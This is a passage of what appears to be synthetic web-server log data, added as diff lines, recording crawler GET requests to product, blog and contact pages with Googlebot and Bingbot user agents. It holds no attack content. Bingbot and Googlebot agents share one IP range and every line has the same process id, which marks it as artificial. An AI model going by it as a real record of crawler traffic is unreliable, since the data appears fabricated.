+http://www.bing.com/bingbot.htm)" +Aug 22 22:02:40 web-app[2345]: GET /products/item17 status=200 from=66.249.85.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:40 web-app[2345]: GET /products/item17 status=200 from=66.249.94.185 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:40 web-app[2345]: GET /products/item19 status=200 from=66.249.88.42 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:40 web-app[2345]: GET /products/item6 status=200 from=66.249.92.45 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:41 web-app[2345]: GET /products/item11 status=404 from=66.249.88.216 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:41 web-app[2345]: GET /products/item5 status=200 from=66.249.95.56 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:42 web-app[2345]: GET /about-us status=200 from=66.249.93.52 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:42 web-app[2345]: GET /products/item10 status=200 from=66.249.66.159 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:42 web-app[2345]: GET /products/item10 status=200 from=66.249.79.145 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:42 web-app[2345]: GET /products/item7 status=200 from=66.249.87.103 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:43 web-app[2345]: GET /products/item10 status=200 from=66.249.68.178 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:43 web-app[2345]: GET /products/item13 status=200 from=66.249.75.192 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:43 web-app[2345]: GET /products/item5 status=200 from=66.249.80.146 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:43 web-app[2345]: GET /products/item8 status=200 from=66.249.69.190 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:44 web-app[2345]: GET /products/item16 status=200 from=66.249.76.35 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:44 web-app[2345]: GET /products/item17 status=301 from=66.249.80.1 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:44 web-app[2345]: GET /products/item3 status=200 from=66.249.91.27 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:44 web-app[2345]: GET /products/item9 status=200 from=66.249.86.37 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:45 web-app[2345]: GET /contact status=200 from=66.249.79.132 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:45 web-app[2345]: GET /products status=200 from=66.249.73.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:45 web-app[2345]: GET /products/item16 status=200 from=66.249.75.22 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:45 web-app[2345]: GET /products/item6 status=200 from=66.249.72.71 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:45 web-app[2345]: GET /products/item8 status=200 from=66.249.66.244 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:46 web-app[2345]: GET /products/item16 status=200 from=66.249.92.111 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:46 web-app[2345]: GET /products/item5 status=301 from=66.249.88.141 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:46 web-app[2345]: GET /products/item9 status=404 from=66.249.86.129 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:47 web-app[2345]: GET /products/item17 status=200 from=66.249.84.138 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:47 web-app[2345]: GET /products/item18 status=404 from=66.249.75.70 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:47 web-app[2345]: GET /products/item2 status=404 from=66.249.76.103 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:48 web-app[2345]: GET / status=200 from=66.249.67.192 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET / status=200 from=66.249.69.249 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET /products/item12 status=200 from=66.249.79.138 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:48 web-app[2345]: GET /products/item15 status=200 from=66.249.81.19 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET /products/item16 status=200 from=66.249.85.173 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET /products/item16 status=301 from=66.249.78.55 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET /products/item3 status=200 from=66.249.87.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET /products/item3 status=200 from=66.249.95.128 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:48 web-app[2345]: GET /products/item5 status=200 from=66.249.65.137 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:49 web-app[2345]: GET /products/item15 status=200 from=66.249.76.54 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:49 web-app[2345]: GET /products/item3 status=200 from=66.249.95.168 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:49 web-app[2345]: GET /products/item4 status=200 from=66.249.91.23 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:50 web-app[2345]: GET / status=200 from=66.249.86.124 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:50 web-app[2345]: GET /products/item11 status=200 from=66.249.84.253 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:50 web-app[2345]: GET /products/item17 status=200 from=66.249.92.247 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:50 web-app[2345]: GET /products/item6 status=200 from=66.249.78.173 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:51 web-app[2345]: GET /products/item12 status=200 from=66.249.74.224 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:51 web-app[2345]: GET /products/item5 status=200 from=66.249.71.192 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:51 web-app[2345]: GET /products/item5 status=200 from=66.249.76.158 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:52 web-app[2345]: GET /blog/article-1 status=200 from=66.249.83.67 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:52 web-app[2345]: GET /contact status=200 from=66.249.76.175 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:52 web-app[2345]: GET /products/item11 status=200 from=66.249.93.69 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:53 web-app[2345]: GET /products/item18 status=200 from=66.249.80.5 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:54 web-app[2345]: GET / status=200 from=66.249.83.32 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:54 web-app[2345]: GET /blog/article-2 status=200 from=66.249.69.92 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:54 web-app[2345]: GET /contact status=200 from=66.249.92.25 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:54 web-app[2345]: GET /products/item8 status=200 from=66.249.91.38 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:55 web-app[2345]: GET /products/item16 status=200 from=66.249.74.52 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:55 web-app[2345]: GET /products/item9 status=200 from=66.249.89.49 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:56 web-app[2345]: GET /contact status=200 from=66.249.86.33 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:56 web-app[2345]: GET /products/item11 status=404 from=66.249.88.61 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:56 web-app[2345]: GET /products/item12 status=200 from=66.249.67.104 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:56 web-app[2345]: GET /products/item14 status=200 from=66.249.81.121 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:56 web-app[2345]: GET /products/item17 status=200 from=66.249.65.24 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:56 web-app[2345]: GET /products/item2 status=200 from=66.249.81.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:57 web-app[2345]: GET /about-us status=200 from=66.249.81.10 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:57 web-app[2345]: GET /products/item13 status=200 from=66.249.68.225 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:57 web-app[2345]: GET /products/item4 status=200 from=66.249.65.124 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:58 web-app[2345]: GET /about-us status=404 from=66.249.83.208 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:58 web-app[2345]: GET /products/item14 status=200 from=66.249.89.38 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:58 web-app[2345]: GET /products/item15 status=200 from=66.249.76.207 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:58 web-app[2345]: GET /products/item6 status=200 from=66.249.90.15 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:59 web-app[2345]: GET /blog/article-2 status=200 from=66.249.72.251 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:59 web-app[2345]: GET /products status=200 from=66.249.78.95 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:00 web-app[2345]: GET /products/item16 status=200 from=66.249.74.62 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:00 web-app[2345]: GET /products/item2 status=200 from=66.249.69.94 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:00 web-app[2345]: GET /products/item9 status=404 from=66.249.91.95 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:01 web-app[2345]: GET /products/item1 status=200 from=66.249.93.47 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:01 web-app[2345]: GET /products/item11 status=200 from=66.249.77.148 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:01 web-app[2345]: GET /products/item13 status=200 from=66.249.90.140 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:02 web-app[2345]: GET /products/item16 status=200 from=66.249.67.149 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:02 web-app[2345]: GET /products/item2 status=200 from=66.249.87.168 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:02 web-app[2345]: GET /products/item9 status=200 from=66.249.81.20 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:02 web-app[2345]: GET /products/item9 status=200 from=66.249.86.41 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:03 web-app[2345]: GET /blog/article-1 status=200 from=66.249.75.7 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:03 web-app[2345]: GET /products/item11 status=200 from=66.249.71.172 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:03 web-app[2345]: GET /products/item15 status=200 from=66.249.92.54 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:03 web-app[2345]: GET /products/item4 status=200 from=66.249.70.10 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:04 web-app[2345]: GET / status=200 from=66.249.78.167 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:04 web-app[2345]: GET /products/item10 status=200 from=66.249.74.49 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:04 web-app[2345]: GET /products/item17 status=200 from=66.249.89.166 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:04 web-app[2345]: GET /products/item7 status=200 from=66.249.88.51 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:04 web-app[2345]: GET /products/item7 status=200 from=66.249.91.38 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:05 web-app[2345]: GET /blog/article-1 status=200 from=66.249.76.89 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:05 web-app[2345]: GET /products/item9 status=200 from=66.249.71.110 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:06 web-app[2345]: GET /contact status=404 from=66.249.65.55 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:06 web-app[2345]: GET /products/item12 status=200 from=66.249.64.102 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:06 web-app[2345]: GET /products/item12 status=200 from=66.249.66.16 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:06 web-app[2345]: GET /products/item13 status=404 from=66.249.75.236 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:06 web-app[2345]: GET /products/item5 status=200 from=66.249.79.53 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:07 web-app[2345]: GET / status=200 from=66.249.82.126 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:07 web-app[2345]: GET /blog/article-2 status=200 from=66.249.73.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:08 web-app[2345]: GET /products status=200 from=66.249.66.10 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:08 web-app[2345]: GET /products status=200 from=66.249.78.219 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:08 web-app[2345]: GET /products/item13 status=200 from=66.249.95.145 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:08 web-app[2345]: GET /products/item16 status=404 from=66.249.65.160 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:08 web-app[2345]: GET /products/item6 status=200 from=66.249.88.48 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:08 web-app[2345]: GET /products/item6 status=301 from=66.249.82.134 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:09 web-app[2345]: GET /blog/article-1 status=301 from=66.249.81.224 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:09 web-app[2345]: GET /contact status=200 from=66.249.94.45 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:09 web-app[2345]: GET /products/item15 status=404 from=66.249.73.182 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:09 web-app[2345]: GET /products/item19 status=200 from=66.249.92.198 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:10 web-app[2345]: GET /about-us status=200 from=66.249.69.214 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:10 web-app[2345]: GET /products status=200 from=66.249.89.210 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:10 web-app[2345]: GET /products/item10 status=200 from=66.249.91.237 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:10 web-app[2345]: GET /products/item16 status=200 from=66.249.83.148 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:10 web-app[2345]: GET /products/item7 status=301 from=66.249.77.126 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:10 web-app[2345]: GET /products/item8 status=200 from=66.249.72.187 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /blog/article-2 status=200 from=66.249.87.148 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item11 status=200 from=66.249.65.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item11 status=301 from=66.249.92.203 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item14 status=200 from=66.249.95.150 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item18 status=200 from=66.249.86.167 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item2 status=200 from=66.249.73.82 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item2 status=200 from=66.249.74.205 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:11 web-app[2345]: GET /products/item2 status=200 from=66.249.79.197 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:12 web-app[2345]: GET /blog/article-2 status=200 from=66.249.71.38 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:12 web-app[2345]: GET /products/item12 status=200 from=66.249.72.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:12 web-app[2345]: GET /products/item14 status=200 from=66.249.80.67 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:12 web-app[2345]: GET /products/item18 status=200 from=66.249.71.11 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:12 web-app[2345]: GET /products/item2 status=200 from=66.249.78.137 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:13 web-app[2345]: GET /blog/article-1 status=200 from=66.249.76.48 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:13 web-app[2345]: GET /products/item10 status=200 from=66.249.71.229 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:13 web-app[2345]: GET /products/item5 status=200 from=66.249.73.187 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:13 web-app[2345]: GET /products/item6 status=200 from=66.249.73.233 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:14 web-app[2345]: GET /products/item1 status=200 from=66.249.87.15 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:14 web-app[2345]: GET /products/item3 status=200 from=66.249.66.21 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:15 web-app[2345]: GET / status=200 from=66.249.88.142 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:15 web-app[2345]: GET /about-us status=200 from=66.249.88.128 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:15 web-app[2345]: GET /contact status=200 from=66.249.82.63 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:15 web-app[2345]: GET /products/item12 status=200 from=66.249.82.94 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:15 web-app[2345]: GET /products/item19 status=200 from=66.249.92.172 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:15 web-app[2345]: GET /products/item5 status=200 from=66.249.92.36 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:16 web-app[2345]: GET /about-us status=200 from=66.249.91.206 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:16 web-app[2345]: GET /blog/article-1 status=200 from=66.249.64.2 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:16 web-app[2345]: GET /blog/article-1 status=200 from=66.249.95.54 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:17 web-app[2345]: GET /products/item1 status=200 from=66.249.78.140 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:17 web-app[2345]: GET /products/item12 status=301 from=66.249.92.232 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:17 web-app[2345]: GET /products/item12 status=404 from=66.249.74.232 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:17 web-app[2345]: GET /products/item13 status=200 from=66.249.90.105 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:17 web-app[2345]: GET /products/item13 status=200 from=66.249.95.237 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:17 web-app[2345]: GET /products/item17 status=200 from=66.249.79.31 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:18 web-app[2345]: GET / status=200 from=66.249.69.15 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:18 web-app[2345]: GET /products status=200 from=66.249.75.131 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:18 web-app[2345]: GET /products/item11 status=301 from=66.249.83.94 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:18 web-app[2345]: GET /products/item12 status=200 from=66.249.75.106 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:18 web-app[2345]: GET /products/item12 status=200 from=66.249.84.135 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:18 web-app[2345]: GET /products/item13 status=200 from=66.249.79.59 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:19 web-app[2345]: GET /blog/article-1 status=200 from=66.249.72.63 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:20 web-app[2345]: GET / status=200 from=66.249.66.29 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:20 web-app[2345]: GET / status=200 from=66.249.85.235 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:20 web-app[2345]: GET /contact status=200 from=66.249.64.53 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:20 web-app[2345]: GET /products/item10 status=200 from=66.249.76.131 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:20 web-app[2345]: GET /products/item7 status=200 from=66.249.75.98 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:20 web-app[2345]: GET /products/item8 status=200 from=66.249.64.131 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:21 web-app[2345]: GET /products status=200 from=66.249.71.67 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:21 web-app[2345]: GET /products/item10 status=200 from=66.249.69.227 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:21 web-app[2345]: GET /products/item18 status=200 from=66.249.86.42 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:21 web-app[2345]: GET /products/item5 status=200 from=66.249.89.198 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:21 web-app[2345]: GET /products/item6 status=200 from=66.249.90.44 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:22 web-app[2345]: GET /products/item11 status=200 from=66.249.90.131 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:22 web-app[2345]: GET /products/item15 status=200 from=66.249.72.249 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:22 web-app[2345]: GET 